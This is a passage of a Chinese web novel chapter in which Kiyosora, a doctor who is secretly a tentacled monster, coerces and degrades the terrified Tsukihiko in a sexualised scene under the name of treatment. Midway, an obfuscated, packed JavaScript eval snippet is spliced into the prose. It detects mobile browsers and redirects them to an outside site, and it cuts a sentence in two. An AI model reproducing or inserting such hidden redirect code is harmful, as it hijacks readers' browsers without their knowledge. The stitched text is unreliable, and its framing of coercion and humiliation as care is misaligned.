清空的胸腔在轻轻地起伏,在呼吸。 有心跳。 月彦的手停在那里,没有收回来。 “你感觉到了吗?”清空问,“很明显,我是人类。” 清空比月彦高一截,随着触摸,月彦将两条手臂都搭高了,在黑暗中踮起脚。 他轻轻地晃动自己,绷紧了腿忍耐着,腰往前挺,时不时地发起一阵细微的颤栗。 月彦终于知道自己从进房间到现在感受到的微妙违和感是什么了。 冷。 清空身上的水珠是冷的,空气也是冷的。没有任何热水的痕迹。洗澡要烧热水,浴房都会有柴火和大锅。 可他没有看见任何烧过水的痕迹,灵敏的嗅觉没有感知到任何烟火灰烬的气味。现在是仍然有些寒冷的晚春时节,谁会泡在冷水里,泡到深夜? 连换洗的衣服都没有带过来,正常人真的会这样吗? 清空刚才真的,在这里洗澡吗? 还是说,只是因为他们突然到来,才做出的伪装呢? 手腕被握住,清空的手指是凉的。他倏然想起,似真似假的梦境里,缠住他脚踝的触肢。 也是这个温度。 月彦几乎要紧张地吐出来了。 门关上了,而他离清空那么近,根本没有逃跑的机会。恐惧,后悔,他就不该来这里,不该自投罗网。黑暗中都看不见,而这个怪物从不点灯——他肯定能看得清清楚楚。 他在,看着自己吗? 表露出恐惧的话,他大概就要死了吧。 月彦缓缓地眨眼,湿漉漉的眼睫毛一颤,挤出一颗硕大的泪珠。 大脑里每一个想法都在尖叫着要逃跑,身体却软软的,往清空的方向依过去,双臂挂在他的肩上。 “对不起……”他听见自己软弱的声音,沙哑地,发糯的,脸上大概也挤出了笑,丑陋的,乖巧而讨好的笑,“我把噩梦,当了真。” 清空很高兴:“我真的是人。” “嗯、嗯……帮帮我吧……求你……” 他乞怜道。 17. 第十七章 清空几乎愣住了。 第二次了…… 月彦表现得那么依赖他的样子。 他眼神晦暗下来。 “你……很需要我么。” 月彦:“……” 恐惧混合着屈辱的情感,从心底蔓出来。但他不能表现在脸上。只能又蹭了蹭对方的胸膛:“帮帮我吧。” 他大脑转得很快,清空这人的过去是可查的,一直在当医生,在平安京的工作也是治病救人。更是帮助他治好了顽疾——虽然现在月彦在心底对此打了个问号。 像个正常人一样过日子,生活。 “以正规途径获取人类的房屋”。 无数小小的片段从他大脑中闪过。 只要清空不知道他已经知道清空是个怪物这件事—— 或许他能保持安全。 并且,让清空做好表面的本职工作,帮他把身体治好。 月彦努力伪装成过去的语气,命令着:“你、你是我的医生,现下我才痊愈不久便出了问题,要对我负责。” 多少还是有些磕磕绊绊的。 但解释成身体难受,也说得过去。 黑暗中,他感受到清空点点头。 “是。”清空平静道,“我得具体看看是出了什么问题。你也得明白,我先前不是在推脱,只是……我不能强化你对我的依赖。” “谁依赖你了!”月彦小声地驳回去。 □*□ “我想,也许更多是心理因素。因为噩梦,过于恐惧之下,才导致了这样的结果。”清空想了想,自己刚才已经叫月彦确认了,他是纯种人类,“现在噩梦应该已经结束了吧,你没什么好恐惧的。” 月彦:“……” 他勉力露出一个笑容。 噩梦,好像才开始呢。 “我试试别的疗法。”清空思考起来。 他将月彦身上的外套脱下,寝衣也解开。他能感觉到对面僵硬了一下,但很快就放松下来,任由他动作。 毕竟这种检查的事情,也做了很多了。 手指触碰上对方的小腹,就收获了一阵强烈的颤抖。清空不得不从背后抱紧了,没有叫月彦一下子滑落到地上。 闷闷的、哭似的声音,从月彦喉咙里挤出来:“别……” 清空的手指只好停在月彦腰胯上方。 他开始思考。 嗯……先试试看激将法好了。 既然是心理障碍,那么理所当然的和情感有些关联,打碎恐惧的最好办法是愤怒。清空想了想月彦会感到愤怒的情况,酝酿了一下台词: “月彦大人,作为您的医生,我必须指出一个显而易见的事实。” 清空的声音压低,他难得使用了温柔一些的敬语,没有直来直去地说话:“您现在这副模样,可真是……狼狈不堪啊。高高在上的家族继承人,连身体最基本的行为都无法掌控,比刚出生的、毫无自理能力的婴孩都不如。” 月彦的牙齿猛地咬住下唇。 “想想看,那些敬畏、侍奉您的人,还有那些厌恶您、想要打倒您的人,如果他们看到您此刻的模样……像只被剥光了皮毛、瑟瑟发抖的兔子……连生理需求都无法满足的……废物。” 清空是有点编不下去了。 他就不该放纵自己,好几天没出门,没和那些擅长叽叽喳喳的贵族们聊天,已经有点不太会这种语言了。 好在他的话语非常有效果。 月彦浑身剧烈地颤抖起来,滔天的愤怒和灭顶的羞耻,让他的胸膛不停起伏。 清空把他背对着自己抱起来,让他的膝弯卡在自己小臂上。 “证明给我看吧,证明自己不是废物。” “您可以做到的,对吗?” “做不到的话,就意味着,我说的话是事实。” 清空确信自己已经彻底激起了月彦的愤怒。这个小少爷的自尊心非常强,久病之下什么都无法抓住,唯有自尊越垒越高。 然而,直到屈辱的泪水从他眼里溢出来,情况还是没有得到任何改善。 这样……还是不行吗? “看来不行啊。”清空只好继续加强力度,“来,来说自己是没有我帮忙就不行的废物,说一遍。” “呜……” 这下好像是真把人气哭了。 泪水从月彦的眼睛里涌出来,顺着苍白的脸颊蜿蜒而下,下唇被牙齿死死咬住,甚至渗出了细微的血珠。喉结艰难地滚动,压抑着几乎要忍不住的崩溃呜咽。 清空忍不住皱眉。 但眼下也没空管月彦把自己下唇咬破的事,他冷冷地逼迫道:“说吧。” “……” “连说话都不会了么。” 月彦几乎觉得自己要死了。 他不明白,为什么帮他这么简单的事,清空就是不做。明明以前做过很多次,这一次再帮一下,又有什么问题? 他会落得这样的境地,也全都是清空的错。 那么理所当然的,就是应该他来负责啊。 “像、像之前那样……”他小声道,“就好……” 别管以后了,现在最重要。 也许他原本还能忍耐,可他偏偏早就知道清空帮忙后会怎样。大脑中下意识想象着那样的场景,于是理智愈发融化,根本没有办法思考。 清空仍然不为所动。 “我……我承认,我承认可以吗?快帮我。” 还是,没有动。 月彦是真生气了,而生气冲淡恐惧:“你听不懂人话吗?我命令你,帮我——” 清空忽得走了一步。 在黑暗中,月彦有些天旋地转的,分不清方向,好一会儿才搞清楚,自己应该是往门口的方向靠近。 清空要做什么? “既然你承认了,承认自己毫无自理能力,那么你的一切都由我来负责,这很正常吧。”清空想了想,“现在我打算出去逛一圈。” 以这个模样吗? 月彦几乎目眦欲裂,即便院中没有人,他只带了一个贴身服侍他多年的侍女,但…… 他倏地发现,清空是在实践刚才说的话。 让敬畏他、侍奉他的人看见。 他大脑转得极快,立刻就想到了下一句,让那些敌人也看见……不!绝对不行! 他剧烈挣扎起来。 可是他就算没有疾病,恐怕也没有办法挣脱清空的束缚,这医生不知吃什么长大的,体格比绝大多数人都要健壮,又高挑,轻轻松松就能把他圈抱住抬起。 “我开门了哦。” “不行——不行、不——” 月彦混乱地摇着头,整个身体都在努力。 不知过了多久,清空才叹气:“好像是真不行。” 这个疗法彻底失败了,他感觉月彦就算气炸了,都没有办法做到。毕竟现在他已经把人逼成这样了。 真出去溜达一圈,也不会有什么用。 他只好说:“我不会帮你的,你必须自己解决。” 但说完,他又觉得这样有些为难人了。要是月彦自己能找到解决的方法,至于来找他吗? “来试着想象,想象我以前帮你的样子。心情平静些,慢慢回忆。” 循序渐进,让月彦能自己解决。 月彦:“……” 他气到哽住。 正是被挑衅被羞辱到怒火在胸腔里徘徊,简直要喷出来的时刻,清空却叫他想象之前。 没招了。 清空:“反正也没人看见,你慢慢想象。考虑到这是第一次,我可以稍微帮你一点。” 他抱着月彦,就像是以往那样。 只是没出声,也没有别的动作。 其他都要靠他想象。 微凉的温度,从背后浸透了他。月彦知道,清空体温比他低。 自己想象么…… 他忽然觉得好笑。 骗子,这个骗子。 说什么没人能看见,骗他放松,其实清空根本就可以在黑暗中视物。清空就是想要折辱他,看他狼狈的样子。 哈。 他恨。 恨得咬牙切齿。 但他身体却开始放松了。以前也不是没有恨过,最开始,遭受这种耻辱时,他也恨。可每每到最后,在清空怀里,在渐渐和他同步的温度中,还有那些引导的声音里,他都会一点一点地放松。 现在没有声音,却有别的,呼吸很轻很稳地落在他后颈上,和以前一样。 月彦的手指攥紧了清空的手臂。指甲陷进去,陷得很深。 他恨这个怪物。 连人都不是的话,他之后要如何复仇? 身体又开始发热了。 像有什么东西在身体最深处张开了口,等着他放松。 他开始沿着那规律的呼吸想象着。 想象他,开始倒数。 …… 还是可以做到的嘛,虽然完全累昏过去了。 清空松了口气,打扫了一下一片狼藉的浴房。他真没带衣服,只能当场用触肢拟态了两条,自己穿上,再给月彦裹上。 葵还在外面等着。 作为活的时间最长的侍女,她向来很会扮人偶,不管听见什么、看见什么,只要没人问,就不说。 问了,那就挑挑拣拣的说些规矩的话。 忽得,门打开了。 清空抱着月彦出来。 葵跪坐在廊下,膝盖已经有些发麻。她没有动,只是微微抬起眼。 陌生的衣服外套裹在月彦身上,只露出半张脸,白得像纸。头发散了,垂下来,随着清空的步伐轻轻晃动。手搭在清空肩头,手指蜷着,没什么力气的样子。布料的下摆露出一截小腿,很瘦,踝骨的轮廓凸起来。 清空低头看了她一眼。 她垂下目光。余光里,少爷的睫毛动了动,没有醒。呼吸很浅,胸腔几乎看不出起伏。 “你想留下来,还是回去?”清空问。 葵有些为难。这种事是轮不到她做主的,但清空有时候就是会问她一些问题。 而且现在除了她,也没人可以商量了。 “算了,这么晚了,留下来吧。”清空想了想,“去帮他铺个床,就在原来的房间里。” 那是主卧。 清空自己现在搬进去了。 倒也不是很喜欢这个卧室,就是搬进去更有那种,这房子是我的主人感。 他抱着月彦,走得没那么快,在葵快步往前的时候,清空的触肢从黑暗中窜过去,先一步进入了主卧。 然后开始在柜子中,编织衣物被褥。 清空这几天确实放松了,他一条触生活,不需要太多人类的东西。 只能现在临时开始编。 他决定之后去添置家具和生活用品。 “葵。我有事想问你。”清空慢悠悠地走到主卧,把月彦放在他自己的床铺上,看着正在铺新床的侍女,“我想买点人,你知道该去哪儿买吗?” 那语气,就像是前些天说想要买些鱼放池塘。 清空是挺爱买小动物的,乱七八糟的养了一大堆。 葵:“……” 她动作停顿了一瞬,而后继续:“奴婢不清楚。清空大人若是想要购置仆人,可以问问月彦大人。若是……若是不嫌麻烦,村子里有许多饭都吃不饱的人家,会愿意将自己的孩子便宜出售。” 听起来很复杂。 清空叹气:“这里冷冷清清的,总不像正常人的房子。你有没有觉得这里有些恐怖?我看月彦好像很害怕。” “没有。”葵硬着头皮答,“这里很好。” “那你想过来吗?”清空认真问,“有些工作,你比较熟悉了,我有时候需要睡几天,离开几天,院子里没人搭理。” 葵:“……” 她的卖身契,在产屋敷家。 但清空已经是贵族阶层,只要他想,就能把她的契要过来。 能离开月彦少爷,她是高兴的。 多少身边的人都被月彦折磨过。 但是…… 她觉得,清空医师,好像,大概,可能……和人类离得有点远了。 她之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397000|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责院子里的起居,能感觉到清空和正常人类的不同,太多地方不一样了,好像从没在卧房睡过觉一样。也见过地窖里血淋淋的猎物们。 月彦少爷这两天对清空的恐惧,她也是知道的。 她张张口,最终还是没有说什么:“这不是奴婢能做主的事。” 应该……不是吃人的那种怪物吧…… 月彦少爷都没被吃掉。 …… 清空又吩咐了一些事。 他是请了假的,可以光明正大休息一段时间,老实说,他不是很想被病人打扰。 医生也是要休息的嘛。 反正已经将自己治疗自己的方法告诉月彦了,等月彦醒来就可以离开,以后慢慢调理就好了。 他把月彦放在床上,盖好被子。 “晚安。” 结果月彦昏迷中似乎做了噩梦,半夜惊叫起来,痉挛似的蹬了被子。 清空:“……” 马上要恶卧榻里裂了啊—— 他自己也已经躺在床上,懒得要死,于是让触肢爬过去把人捆住。 谁知道触肢刚卷上去,不仅没能捆好,还让人挣扎得愈发厉害起来。 这样硬绑的话,恐怕会出问题。 清空只好自己爬过去。 “月彦、月彦……”他小声地安抚,“醒一醒,别做噩梦了。” 他越说越起一个反效果,听见他的声音,哪怕月彦还在梦里,都掉了眼泪。 睡着的月彦没有像清醒时那样忍耐自己,断断续续地呜咽着,眼泪很快浸湿了枕头。 搞得他好像是什么大恶人一样。 “醒醒嘛……”清空决定当一下恶人,他平静地恐吓道,“再不醒,我就把触肢塞你脑子里。” “呃——” 好像被他吓醒了。 清空闭了嘴,看了两眼,发现月彦没醒。虽然睁开了眼睛,却好像还是被噩梦魇住了的,瞳孔涣散着,一副失神的表情。 清空不擅长治疗精神相关的问题。 他感到棘手。 “你还好吗?”他贴过去。 月彦的眼睛睁着,瞳孔却是散的,像两颗被水泡过的琉璃珠,眼尾又红又湿。 “月彦。”清空又叫了一声。 月彦没反应,唇轻轻地张开,从里面吐出呼吸和颤巍巍的气音,破碎的不成调子,隐约能看见殷红的舌尖,僵硬地抵在下方的牙床上。 清空凑近了一点,想听清月彦在说什么。 至少了解一下噩梦内容。 ……被咬了。 清空皱了一下眉,手抬起来,想把他推开。但月彦的身体在发抖,整个人蜷在他怀里,牙齿嵌在他脖子上,没有再用力,也没有松开,像一只被逼到绝路的幼兽。 清空犹豫了。 他感觉到自己的血从脖子上流下来。 大约是感受到了熟悉的味道——清空给月彦的药大多都是用自己的血调配而成。 月彦下意识地吮吸起来。 湿热柔软的舌尖,刮过他的颈侧。 清空:“……” 这可不行。 “太贪吃了。”他将人制住,手指塞月彦口腔,“我的血吃进去会有问题的。” 可人昏迷着,哪怕用触肢塞进去搅了搅,也没办法把喝进去的血全部吸收回来。 清空没招了。 好在月彦只是下意识吞咽了一点,很快就停了噩梦,沉沉睡去。 …… 月彦醒来的时候,第一眼看见的是天花板。 熟悉的天花板。 记忆开始回笼。 他忽得攥紧了被子。身体不难受了,不疼,很干爽,也穿着干净的衣服。 他应该感到高兴。 清空……睡在边上。 月彦胃里开始翻涌。他撑起身体,想要坐起来离开这里,离这个人远一点。但他的手在发抖,撑不住,整个人往旁边倒。 体力在昨天晚上耗尽了。 昨天晚上发生了太多事,但比起被折辱的羞耻,他首先感到的还是恐惧。比之前更加清晰的恐惧。 清空可能是怪物。 梦里发生的那些事,可能是真的。 怪物、怪物、怪物……可能会杀死他的怪物…… 他不想死。他不想死。他不想死。 他不要死。 这件事比什么都重要,只要能活下来,那些羞辱什么的也就是不轻不重的东西。 月彦急促地呼吸着。 被折辱的片段还是从大脑里钻出来了。他脸上发烫。 清空也醒了。 “早上好。”清空的声音里没有正常人应有的、困倦的疲惫感,让月彦拿捏不定他是否有真正的睡着,“昨天晚上说的那些话,是为了治疗,希望你不要生气。” 他似乎是在道歉。 “没关系。”月彦挤出一个笑,轻声说,撑着身体,“你能把我治好,我就很高兴。” 清空:“那就好。” 月彦沉默了一阵。 “我需要申明一下。”清空忽然开口。 “什么?” 清空指了指:“这个真不是我带来的后遗症。” 月彦:“……” 他竟然在恐惧中…… 他猛地捂住被子:“出去!” “这是我家,月彦大人。”清空才不动呢,“而且,我还没找你算账。” 月彦浑身一抖,强压下恐惧:“什么?” “你半夜来找我急诊,打扰我休息的加班费。打扫的清洁费。住宿休息的住宿费……”清空慢吞吞地念了一串,“最重要的是,你竟然说医生怎么能休息。你伤害了我的精神,真是个坏孩子。” 月彦:“……” 他重重呼吸了两下,并不觉得自己说错了什么,而且比起清空所谓的精神受损,他觉得自己才是那个受伤的人。 然而…… 他不想被怪物杀死。 月彦回忆着清空的逻辑,低着头,颤颤巍巍地应了一句:“那我……需要被惩罚吗?”